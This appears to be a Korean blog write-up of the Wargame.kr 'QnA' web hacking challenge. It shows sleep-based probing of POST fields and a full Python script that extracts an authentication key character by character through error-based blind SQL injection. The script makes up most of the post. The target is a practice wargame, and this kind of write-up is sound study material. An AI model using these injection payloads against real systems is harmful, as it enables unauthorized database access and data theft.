ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Wargame.kr QnA
    WebHacking/Wargame.kr 2018. 2. 27. 18:53

    TIME BASED SQLi 문제같다.


    메뉴 하나하나 눌러보면 알겠지만 누가 봐도 toJSMaster에서 취약점이  있을 것 같은 느낌이 든다.

    소스를 보면 cont,mail,type를 post형식으로 보내고 있다.

    cont, mail에는 ' or sleep(3)#으로 테스트를 해보고 type에는 sleep(3) 이런식 으로 테스트를 해서 sql injection취약점이 있는지 확인을 할 수 있었다.

    그 결과 type에 sql injection취약점이 있었다. 원래 문제 풀이 목적에 맞게 time based로 풀려했는데 sleep기다리는게 싫어서 error blind로 문제를 풀었다.


    쿼리 짜는게 얼마나 귀찮은지 .. length짜는것도 너무 귀찮다. 여기서 4글자 필드에 5번째 글자를 substr로 확인 할려하면 어떤 값을 넣든 오류이지 트루 값인지 뱉어내면서 if문 조건에 들어가게 되면서 length를 모르고도 몇글자 인지 알아낼 수 있었다. 




    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    import urllib2
    import time
    password = ''
    table = 'authkey'
    pw_idx = 1
    temp = 0
    column = 'authkey'
    flag = ''
    while True:
        url = 'http://wargame.kr:8080/qna/?page=to_jsmaster'
        data = 'cont=AAAA&mail=AAAA&type='
    #    data += 'if((select%20ascii(substr(table_name,{0},1))={1}%20from%20information_schema.tables%20where%20TABLE_TYPE=0x42415345205441424c45%20and%20TABLE_SCHEMA!=0x6d7973716c%20limit%200,1),(select%201%20union%20select%202),5)'.format(pw_idx,temp)
    #    data += 'if((select%20ascii(substr(column_name,{0},1))={1}%20from%20information_schema.columns%20where%20table_name=0x617574686b6579%20limit%200,1),(select%201%20union%20select%202),5)'.format(pw_idx,temp)
        data += 'if((select%20ascii(substr(authkey,{0},1))={1}%20from%20authkey%20limit%200,1),(select%201%20union%20select%202),5)'.format(pw_idx,temp)
        print data
        req = urllib2.Request(url,data)
        req.add_header('User-Agent','Mozilla/5.0')
        req.add_header('Cookie','PHPSESSID=tjh76u62fvgkq902q9pv4h1mq3')
        read_data = urllib2.urlopen(req).read()
        print read_data
        raw_input('$ ')
        if 'send success' not in read_data:
            flag += chr(temp)
            print 'Search {0}'.format(flag)
            temp = 0
            pw_idx += 1
            if pw_idx > 40:
                raw_input('$ ')
            #break
        else:
            temp +=1
     
    print 'flag: {0}'.format(flag)
     
    cs


    'WebHacking > Wargame.kr' 카테고리의 다른 글

    Wargame.kr adm1nkyj  (0) 2018.02.28
    Wargame.kr jff3_magic  (0) 2018.02.27
    Wargame.kr ip log table  (0) 2018.02.26
    Wargame.kr lonely guys  (0) 2018.02.26
    Wargame.kr dmbs335  (0) 2018.02.26
Designed by Tistory.